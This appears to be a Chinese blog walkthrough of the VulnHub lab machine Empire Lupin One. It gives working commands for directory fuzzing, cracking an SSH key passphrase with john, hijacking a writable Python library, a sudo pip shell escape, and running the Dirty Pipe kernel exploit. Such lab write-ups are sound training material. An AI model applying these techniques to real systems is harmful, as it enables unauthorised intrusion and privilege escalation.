Empire Lupin One 靶机渗透测试

on 2025-07-09

这是一个来自 VulnHub 的靶机练习,难度为初级到中级。主要涉及 Web 渗透、SSH 私钥破解和权限提升。

目标信息

  • 靶机名称: Empire Lupin One
  • IP 地址: 192.168.1.13
  • 难度: Medium

信息收集

端口扫描

使用 nmap 对目标进行端口扫描:

nmap -A 192.168.1.13

扫描结果显示开放的端口:

  • 22/tcp: SSH (OpenSSH 8.4p1)
  • 80/tcp: HTTP (Apache 2.4.48)

扫描发现 robots.txt 中存在一个目录:/~myfiles

Web 应用侦察

访问主页发现是一张图片,HTML 注释中提示:"It's an easy box, don't give up."

访问 /~myfiles 目录,发现伪装成 404 页面,HTML 注释提示:"You can do it, keep trying."

常规目录扫描没有发现有用信息。

漏洞发现

目录爆破

由于 /~myfiles 的存在提示我们需要扫描以 ~ 开头的目录,使用 ffuf 进行模糊测试:

ffuf -u http://192.168.1.13/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -c

模糊测试 vs 传统目录扫描

传统的目录扫描器(如 dirb、dirbuster)主要针对常见的目录和文件名进行扫描,它们有预定义的规则和模式。而 ffuf(Fuzz Faster U Fool)是一个更灵活的模糊测试工具,具有以下优势:

  • 占位符灵活性:可以在 URL 的任意位置使用 FUZZ 占位符,不仅限于路径末尾
  • 多种数据类型:支持扫描目录、文件、参数、子域名等多种目标
  • 高性能:Go 语言编写,支持高并发请求,扫描速度更快
  • 智能过滤:可以根据状态码、响应长度、响应时间等条件过滤结果
  • 输出格式丰富:支持多种输出格式(JSON、CSV、HTML 等)

在本例中,我们需要扫描以 ~ 开头的特殊目录,传统目录扫描器可能不会包含这类模式,而 ffuf 可以通过自定义字典和占位符位置轻松实现这种需求。

发现目录:/~secret

访问该目录,发现一段消息:

Hello Friend, I'm happy that you found my secret directory. I created it like this to
share with you my SSH private key file. It's hidden somewhere here, so that
hackers don't find it and crack my passphrase with fasttrack. I'm smart, I know
that. Any problem let me know. Your best friend icex64

隐藏文件发现

继续对 /~secret 目录进行隐藏文件扫描:

ffuf -u http://192.168.1.13/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .key,.pem,.txt,.pub -t 200 -c

发现隐藏文件:.mysecret.txt

SSH 私钥破解

下载 .mysecret.txt 文件,内容是一段 Base58 编码的字符串。这里花了不少时间才识别出是 Base58 编码。

# 解码 Base58
base58 -d .mysecret.txt > dec.txt

解码后得到一个加密的 SSH 私钥文件(使用 AES256-CBC 和 bcrypt 加密)。

踩坑点 #1: 直接使用解码后的私钥文件会报错 Load key "dec.txt": error in libcrypto,经过排查发现是因为 base58 解码输出缺少结尾的换行符。需要手动添加:

# 在私钥文件末尾添加换行符
echo "" >> dec.txt

根据前面的提示,使用 fasttrack 字典破解私钥密码:

# 转换为 john 格式
ssh2john dec.txt > hash.txt

# 下载 fasttrack 字典
wget https://github.com/drtychai/wordlists/raw/master/fasttrack.txt

# 使用 fasttrack 字典破解
john hash.txt --wordlist=fasttrack.txt

破解得到密码:P@55w0rd!

初始访问

使用破解的私钥登录 SSH:

# 修正私钥文件权限
chmod 600 dec.txt

# 登录 SSH
ssh -i dec.txt icex64@192.168.1.13

成功登录后获得用户 flag:3mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}

权限提升

信息收集

检查当前用户权限:

sudo -l

发现用户 icex64 可以以 arsene 用户身份执行:/usr/bin/python3.9 /home/arsene/heist.py

查看该脚本内容:

import webbrowser
print("Its not yet ready to get in action")
webbrowser.open("https://empirecybersecurity.co.mz")

系统信息收集

使用 LinPEAS 进行权限提升向量分析:

# 上传 LinPEAS
scp linpeas_linux_amd64 icex64@192.168.1.13:~/

# 运行分析
chmod +x linpeas_linux_amd64

踩坑点 #2: 直接运行 ./linpeas_linux_amd64 会在云服务检查处卡住,需要跳过云检查:

# 跳过云检查运行
./linpeas_linux_amd64 -o SysI,ProCronSrvcsTmrsSocks,UsrI,SofI,IntFiles

通过 LinPEAS 分析发现 /usr/lib/python3.9/webbrowser.py 具有写权限。

方法一:文件权限利用

修改 webbrowser.py 文件,在导入部分添加反向 shell 代码:

import os
os.system("/bin/bash")

然后执行:

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

成功提升到 arsene 用户权限。

方法二:Dirty Pipe 漏洞(CVE-2022-0847)

系统内核版本 5.10.0 存在 Dirty Pipe 漏洞,可以直接提权到 root。

踩坑点 #3: 直接编译的程序在目标机器上会有 GLIBC 版本问题,需要静态编译:

# 在攻击机上下载漏洞利用代码
searchsploit -m 50808

# 静态编译避免依赖问题
gcc 50808.c -o dirtypipe -static

# 上传编译好的程序到目标机器
scp ./dirtypipe icex64@192.168.1.13:~/

# 在目标机器上利用漏洞
chmod +x dirtypipe
./dirtypipe /usr/bin/sudo

最终提权

切换到 arsene 用户后,检查权限:

sudo -l

发现 arsene 用户可以无密码执行:/usr/bin/pip

使用 pip 进行权限提升:

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

成功获得 root 权限和 root flag:3mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}

总结

这个靶机主要考察了以下技能:

  1. 目录爆破技巧: 使用 ffuf 进行特殊字符开头的目录扫描
  2. 编码识别: Base58 编码的识别和解码
  3. SSH 私钥破解: 使用 john 和字典攻击破解加密私钥
  4. 权限提升:
    • 利用可写的 Python 库文件
    • 使用 sudo 权限和 pip 进行提权
    • Dirty Pipe 内核漏洞利用

学习要点

  • 在进行目录扫描时要考虑特殊字符和隐藏文件
  • 根据提示信息选择合适的破解字典
  • 系统权限检查和利用方法的重要性
  • 内核漏洞的识别和利用

实战踩坑经验

  1. Base58 解码问题: 命令行工具解码后的文件可能缺少换行符,导致 SSH 私钥格式错误
  2. LinPEAS 云检查卡顿: 在某些环境下会卡在云服务检查,需要使用 -o 参数跳过
  3. GLIBC 版本兼容性: 跨系统传输二进制文件时要考虑依赖库版本,静态编译是更可靠的选择
  4. 编码识别: Base58 编码相对少见,需要多尝试不同的编码方式
  5. 文件传输方向: scp 命令的源和目标要分清楚,特别是在多台机器间操作时
粤ICP备2025368514号-1